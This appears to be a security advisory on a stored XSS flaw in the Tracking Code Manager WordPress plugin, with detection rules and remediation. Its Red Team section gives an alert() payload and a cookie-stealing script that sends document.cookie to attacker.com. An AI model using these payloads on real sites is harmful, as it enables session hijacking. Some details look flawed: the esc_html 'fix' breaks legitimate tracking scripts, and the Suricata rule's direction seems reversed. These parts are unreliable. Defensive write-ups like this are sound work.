CVE-2024-8721

Executive Summary

CVE-2024-8721 is a Stored Cross-Site Scripting (XSS) vulnerability in the Tracking Code Manager plugin for WordPress, affecting all versions up to and including 2.3.0. This flaw allows authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts via the tracking code field. The vulnerability arises from insufficient input sanitization and output escaping, enabling persistent XSS that executes when any user accesses an injected page. The CVSS score is 6.4 (Medium), with a low EPSS probability (0.0%). No public proof-of-concept or exploit code is available at this time. The plugin is part of the WordPress ecosystem, and the vulnerability is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and ensure they are sourced from trusted channels. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level or above)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None
• Threat Level: Medium – Exploitation requires authentication but can lead to persistent script injection affecting all site visitors.

Deep Dive & Mechanics

The vulnerability resides in the tracking code input field of the Tracking Code Manager plugin. The plugin fails to properly sanitize and escape user-supplied input before storing it in the database and rendering it on the frontend. An attacker with Contributor-level access (or higher) can inject malicious JavaScript, HTML, or other web scripts into the tracking code field. When the plugin outputs this code on any page (e.g., header, footer, or specific posts), the injected script executes in the context of the victim's browser.

The root cause is the lack of wp_kses() or similar sanitization functions on the input, and the absence of esc_html() or esc_js() when outputting the stored value. This allows arbitrary script injection, leading to session hijacking, defacement, or redirection to malicious sites.

Vulnerable vs. Patched Code

Vulnerable Code (version <= 2.3.0):

// In the plugin's admin or frontend output
$tracking_code = get_option('tcm_tracking_code');
echo $tracking_code; // No escaping

Patched Code (hypothetical fix):

// Properly sanitize on input
$tracking_code = wp_kses_post($_POST['tracking_code']);
update_option('tcm_tracking_code', $tracking_code);

// Escape on output
echo esc_html($tracking_code);

The vulnerable code directly echoes the stored option without any escaping, allowing script injection. The patched version uses wp_kses_post() to strip dangerous tags on input and esc_html() to safely encode output.

Exploitation & Lab Setup

Red Team

1. Prerequisites: Authenticated session with Contributor-level or higher privileges on a WordPress site running Tracking Code Manager <= 2.3.0.
2. Steps:
   • Navigate to the plugin settings (e.g., /wp-admin/admin.php?page=tracking-code-manager).
   • In the tracking code field, inject a payload such as:

     <script>alert('XSS')</script>
     

   • Save the settings.
   • Any user visiting a page where the tracking code is output will trigger the script.
3. Advanced Payload: For session hijacking:

   <script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

Blue Team

1. Detection: Monitor for unusual changes to the tcm_tracking_code option in the database. Look for script tags or suspicious HTML in the option value.
2. Prevention: Implement a Web Application Firewall (WAF) rule to block common XSS patterns in POST requests to plugin settings pages.
3. Hunting: Search for stored XSS indicators in the wp_options table:

   SELECT * FROM wp_options WHERE option_name = 'tcm_tracking_code' AND option_value LIKE '%<script%';
   

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/tracking-code-manager/ (presence of the plugin)
• Database: wp_options table with option_name = 'tcm_tracking_code' containing script tags
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress site
• Logs: Access logs showing requests to /wp-admin/admin.php?page=tracking-code-manager with unusual POST data

Detection Engineering

YARA Rule

rule CVE_2024_8721_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Tracking Code Manager plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8721"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $option_name = "tcm_tracking_code"
    condition:
        $option_name and $xss_payload
}

Sigma Rule

title: Stored XSS in Tracking Code Manager Plugin
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects stored XSS attempts via the Tracking Code Manager plugin
author: Valters IT
logsource:
    category: application
    product: wordpress
detection:
    selection:
        event: option_update
        option_name: 'tcm_tracking_code'
        option_value|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in tracking codes (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-8721 Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin.php"; http_uri; content:"page=tracking-code-manager"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Tracking Code Manager plugin until a patch is released.
2. Short-term: Restrict Contributor-level access to trusted users only. Implement a WAF to block XSS payloads.
3. Long-term: Apply input sanitization (wp_kses_post()) and output escaping (esc_html()) to all user-supplied fields. Monitor the plugin's repository for updates.
4. Workaround: Use a custom function to override the plugin's output with safe escaping:

   add_filter('option_tcm_tracking_code', 'esc_html');
   

Valters IT
Securing digital frontiers, one CVE at a time.